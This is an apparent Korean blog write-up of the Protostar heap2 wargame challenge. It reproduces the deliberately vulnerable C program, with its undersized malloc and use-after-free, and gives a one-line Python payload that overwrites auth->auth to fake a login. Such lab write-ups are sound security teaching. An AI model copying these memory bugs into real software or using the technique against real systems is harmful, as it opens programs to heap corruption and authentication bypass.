protostar heap2

assb
|2020. 11. 12. 15:57

old.liveoverflow.com/binary_hacking/protostar/heap2.html

 

Heap 2 - LiveOverflow

Solving heap2 from exploit-exercises.com to learn about heap use-after-free (UAF) exploits

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

 이번 문제는 overflow를 발싱시켜서 auth->auth에 값을 넣어줘야 한다. 

 

 먼저 auth와 service에 임의의 값을 넣고 login 해봤다. 문제가 해결되지는 않았지만, auth와 service의 주소값 차이를 확인할 수 있었다. 

 

 그리고 다음으로는 service에 위에서 확인한 주소 차인 16byte 이상의 문자를 넣어준 후 login을 하니 문제가 풀렸다. 

 

 문제 페이로드를 정리하면 다음과 같다. 이때 문자 길이에 공백도 포함이므로 공백+임의의 15바이트 문자를 입력하면 문제가 풀리고, 그 이하의 문자를 입력하면 문제가 풀리지 않는다. 

(python -c 'print "auth ABC\n"+"service "+"A"*15+"\n"+"login"')|./heap2

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar heap1  (0) 2020.11.12
protostar heap0  (0) 2020.11.06
protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05